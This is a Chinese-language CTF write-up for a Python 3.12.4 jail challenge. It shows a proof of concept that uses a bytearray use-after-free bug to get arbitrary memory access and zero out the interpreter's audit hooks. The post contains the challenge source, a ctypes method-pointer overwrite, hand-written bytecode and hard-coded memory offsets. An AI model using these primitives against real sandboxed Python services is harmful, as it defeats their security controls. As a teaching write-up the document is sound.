本文最后更新于 358 天前,其中的信息可能已经有所发展或是发生改变。
唉,好nb的一个题,先写个搓出来的poc,具体原理等期末结束再细写
| |
| |
| import sys |
| import os |
| import json |
| |
| assert sys.version.startswith("3.12.4") |
| |
| test_code = input("Enter the function in json: ") |
| sys.stdin.close() |
| |
| if len(test_code) > 2540: |
| exit(1) |
| test_code: json = json.loads(test_code) |
| del json |
| |
| test_code["co_consts"] = tuple(tuple(a) if isinstance( |
| a, list) else a for a in test_code["co_consts"]) |
| test_code["co_names"] = tuple(tuple(a) if isinstance( |
| a, list) else a for a in test_code["co_names"]) |
| test_code["co_varnames"] = tuple(tuple(a) if isinstance( |
| a, list) else a for a in test_code["co_varnames"]) |
| |
| |
| def check_ele(ele, inner=False): |
| if ele is None: |
| pass |
| elif isinstance(ele, int): |
| |
| if ele not in range(-0xd000, 0x50000): |
| exit(1) |
| elif isinstance(ele, str): |
| if any((ord(a) not in (list(range(ord('0'), ord('9') + 1)) + list(range(ord('a'), ord('z') + 1)) + list(range(ord('A'), ord('Z') + 1)) + [95])) for a in ele): |
| exit(1) |
| elif len(ele) > 242: |
| exit(1) |
| elif isinstance(ele, tuple): |
| if inner: |
| exit(1) |
| for a in ele: |
| check_ele(a, True) |
| else: |
| exit(1) |
| |
| |
| for ele in test_code["co_consts"] + test_code["co_names"]: |
| check_ele(ele) |
| |
| del check_ele |
| |
| |
| def test(): pass |
| |
| |
| test.__code__ = test.__code__.replace(co_code=bytes.fromhex(test_code["co_code"]), |
| co_consts=test_code["co_consts"], |
| co_names=test_code["co_names"], |
| co_stacksize=test_code["co_stacksize"], |
| co_nlocals=test_code["co_nlocals"], |
| co_varnames=test_code["co_varnames"]) |
| |
| del test_code |
| |
| def auditHookHandler(e): |
| def handler(x, _): |
| if not (x == "object.__getattr__" or x == "object.__setattr__" or x == "code.__new__"): |
| e(1) |
| while(1): pass |
| return handler |
| |
| |
| sys.addaudithook(auditHookHandler(os._exit)) |
| del sys |
| |
| test() |
| |
| |
| os.system("cat /flag") |
- 首先看逻辑,接受输入参数,转换为
json
,然后从test_code
中取出co_*
的值,通过CodeType.replace
将函数的行为替换为你输入的值,需要传递下列值
| test_code = { |
| "co_code": str, |
| "co_consts": tuple, |
| "co_names": tuple, |
| "co_stacksize": int, |
| "co_nlocals": int, |
| "co_varnames": tuple |
| } |
- 限制主要三个部分:限制长度;限制
int
和str
的值;通过audithook
限制event事件触发
| if len(test_code) > 2540: |
| exit(1) |
| def check_ele(ele, inner=False): |
| if ele is None: |
| pass |
| elif isinstance(ele, int): |
| |
| if ele not in range(-0xd000, 0x50000): |
| exit(1) |
| elif isinstance(ele, str): |
| if any((ord(a) not in (list(range(ord('0'), ord('9') + 1)) + list(range(ord('a'), ord('z') + 1)) + list(range(ord('A'), ord('Z') + 1)) + [95])) for a in ele): |
| exit(1) |
| elif len(ele) > 242: |
| exit(1) |
| elif isinstance(ele, tuple): |
| if inner: |
| exit(1) |
| for a in ele: |
| check_ele(a, True) |
| else: |
| exit(1) |
| def auditHookHandler(e): |
| def handler(x, _): |
| if not (x == "object.__getattr__" or x == "object.__setattr__" or x == "code.__new__"): |
| e(1) |
| while(1): pass |
| return handler |
| test_code = input("Enter the function in json: ") |
| ... |
| test_code: json = json.loads(test_code) |
- 自定义函数后,尝试获取到的属性有时并不能够被转换为json,自然,此种代码不能通过
loads
读入
| def t(): |
| def test(): |
| pass |
| |
| test_code = { |
| "co_code": t.__code__.co_code.hex(), |
| "co_consts": t.__code__.co_consts, |
| "co_names": t.__code__.co_names, |
| "co_stacksize": t.__code__.co_stacksize, |
| "co_nlocals": t.__code__.co_nlocals, |
| "co_varnames": t.__code__.co_varnames |
| } |
| |
| print(test_code) |
| test_code = json.dumps(test_code) |
| |
| """ |
| {'co_code': '9700640184007d007900', 'co_consts': (None, <code object test at 0x000002998E21C440, file "C:\Users\JBN\Downloads\test.py", line 12>), 'co_names': (), 'co_stacksize': 1, 'co_nlocals': 1, 'co_varnames': ('test',)} |
| Traceback (most recent call last): |
| File "C:\Users\JBN\Downloads\test.py", line 44, in <module> |
| test_code = json.dumps(test_code) |
| ^^^^^^^^^^^^^^^^^^^^^ |
| File "C:\JBNRZ\Applications\anaconda\envs\python3.12\Lib\json\__init__.py", line 231, in dumps |
| return _default_encoder.encode(obj) |
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ |
| File "C:\JBNRZ\Applications\anaconda\envs\python3.12\Lib\json\encoder.py", line 200, in encode |
| chunks = self.iterencode(o, _one_shot=True) |
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ |
| File "C:\JBNRZ\Applications\anaconda\envs\python3.12\Lib\json\encoder.py", line 258, in iterencode |
| return _iterencode(o, 0) |
| ^^^^^^^^^^^^^^^^^ |
| File "C:\JBNRZ\Applications\anaconda\envs\python3.12\Lib\json\encoder.py", line 180, in default |
| raise TypeError(f'Object of type {o.__class__.__name__} ' |
| TypeError: Object of type code is not JSON serializable |
| """ |
- 此题的关键在于hook函数的绕过,先提一嘴一开始尝试过的路子
| def auditHookHandler(e): |
| def handler(x, _): |
| if not (x == "object.__getattr__" or x == "object.__setattr__" or x == "code.__new__"): |
| e(1) |
| while(1): pass |
| return handler |
- 当事件不为这个三类值时,触发
exit
退出进程,那么则想过能否将exit
通过内存修改为其他函数,不让进程退出;很巧,之前看过一个大跌写的文章,似乎用在这里很合适;简单总结即为通过ctypes
覆盖到sys._exit
的内存,替换为其余函数;但是存在两个问题,首先此题中获取不到ctypes
,其次,即便成功覆盖,也无法绕过死循环while(1)
(之前看的时候手动引入了ctypes
而且也没看到死循环,属实是眼瞎的不行了
| from ctypes import POINTER, c_uint64, cast |
| import os |
| |
| def get_func_addr(func): |
| return int(str(func.__call__).split("at ")[1][:-1], 16) |
| addr = get_func_addr(print) |
| |
| ptr = cast(addr, POINTER(c_uint64)) |
| m_ml = ptr[2] |
| |
| ptr2 = cast(m_ml, POINTER(c_uint64)) |
| print_ml_meth = ptr2[1] |
| addr = get_func_addr(os._exit) |
| assert addr == id(os._exit) |
| |
| ptr = cast(addr, POINTER(c_uint64)) |
| m_ml = ptr[2] |
| |
| ptr2 = cast(m_ml, POINTER(c_uint64)) |
| ptr2[1] = print_ml_meth |
- 虽然这个路子不行,但是思路可以借鉴,能否将
hook
函数替换掉或者删掉,但是尝试在官方文档中搜索后得到的结论是不行
| Hooks cannot be removed or replaced |
- 淦,总不能python有bug吧?还真是;依据issues可以得知在python多个版本中存在UAF(Use After Free),从而在指定地址写入新的数据;
| class UAF: |
| def __index__(self): |
| global memory |
| uaf.clear() |
| memory = bytearray() |
| uaf.extend([0] * 56) |
| return 1 |
| |
| |
| uaf = bytearray(56) |
| uaf[23] = UAF() |
| memory[id(23) + 24] = 123 |
| print(23) |
| |
| """ |
| 123 |
| """ |
- 则我们可以通过这个bug将hook函数覆盖掉,现在新的问题变成了,我们该如何获取到hook函数的地址;在这个issues中提到了一个绕过audit的仓库,我们只需在本地的环境中实现他的方法就行
| class UAF: |
| def __index__(self): |
| global memory |
| uaf.clear() |
| memory = bytearray() |
| uaf.extend([0] * 56) |
| return 1 |
| |
| uaf = bytearray(56) |
| uaf[23] = UAF() |
| |
| |
| |
| ptr = getptr(os.system.__init__) + PTR_OFFSET[0] |
| ptr = int.from_bytes(memory[ptr:ptr + 8], 'little') + PTR_OFFSET[1] |
| |
| audit_hook_by_py = int.from_bytes(memory[ptr:ptr + 8], 'little') + PTR_OFFSET[2] |
| audit_hook_by_c = int.from_bytes(memory[ptr:ptr + 8], 'little') + PTR_OFFSET[3] |
| memory[audit_hook_by_py:audit_hook_by_py + 8] = [0] * 8 |
| memory[audit_hook_by_c:audit_hook_by_c + 8] = [0] * 8 |
- 通过
type()
代替class
,定义一个具有__index__
方法的类
| |
| a = type("A", (object, ), {"__index__": auditHookHandler(0)}) |
- 实际上这块儿
__index__
的值不一定非得auditHookHandler()
,只需满足isinstance("test", FunctionType)
即可,后续通过__code__.replace
替换该函数的实际功能
| class UAF: |
| def __index__(self): |
| global memory |
| uaf.clear() |
| memory = bytearray() |
| uaf.extend([0] * 56) |
| return 1 |
| |
| |
| t = UAF.__index__.__code__ |
| for i in dir(t): |
| if i.startswith('co_') and i != "co_lnotab": |
| print(i, getattr(t, i)) |
| |
| |
| def auditHookHandler(e): |
| def handler(x, _): |
| if not (x == "object.__getattr__" or x == "object.__setattr__" or x == "code.__new__"): |
| e(1) |
| while(1): pass |
| return handler |
| |
| |
| t = auditHookHandler(0).__code__ |
| for i in dir(t): |
| if i.startswith('co_') and i != "co_lnotab": |
| print(i, getattr(t, i)) |
- 比对以下两个函数在定义上的差别,将影响函数行为的值都替换掉
| a.__index__.__code__: types.CodeType = a.__index__.__code__.replace( |
| co_argcount=1, |
| co_code=bytes.fromhex("9700740000000000000000006a03000000000000000000000000000000000000ab00000000000000010074050000000000000000ab000000000000006103740000000000000000006a090000000000000000000000000000000000006401670164027a050000ab0100000000000001007903"), |
| co_consts=(None, 0, 56, 1), |
| co_names=('uaf', 'clear', 'bytearray', 'memory', 'extend'), |
| co_stacksize=4, |
| co_varnames=("self",), |
| co_nlocals=1 |
| ) |
| def __index__(self): |
| global memory |
| uaf.clear() |
| memory = bytearray() |
| uaf.extend([0] * 56) |
| return 1 |
- 之后即可仿照原仓库,以
os.system
为基,计算hook函数的内存地址,其中,本题限定python==3.12.4
| def t(): |
| |
| global uaf, memory |
| a = type("A", (object, ), {"__index__": auditHookHandler(0)}) |
| a.__index__.__code__ = a.__index__.__code__.replace( |
| |
| co_argcount=1, |
| co_code=bytes.fromhex("9700740000000000000000006a03000000000000000000000000000000000000ab00000000000000010074050000000000000000ab000000000000006103740000000000000000006a090000000000000000000000000000000000006401670164027a050000ab0100000000000001007903"), |
| co_consts=(None, 0, 56, 1), |
| co_names=('uaf', 'clear', 'bytearray', 'memory', 'extend'), |
| co_stacksize=4, |
| co_varnames=("self",), |
| co_nlocals=1 |
| ) |
| uaf = bytearray(56) |
| uaf[23] = a() |
| p = int(str(os.system.__init__).split()[-1][2:-1], 16) + 24 |
| p = int.from_bytes(memory[p:p + 8], 'little') + 48 |
| hook = int.from_bytes(memory[p:p + 8], 'little') + 0x46920 |
| memory[hook:hook + 8] = [0] * 8 |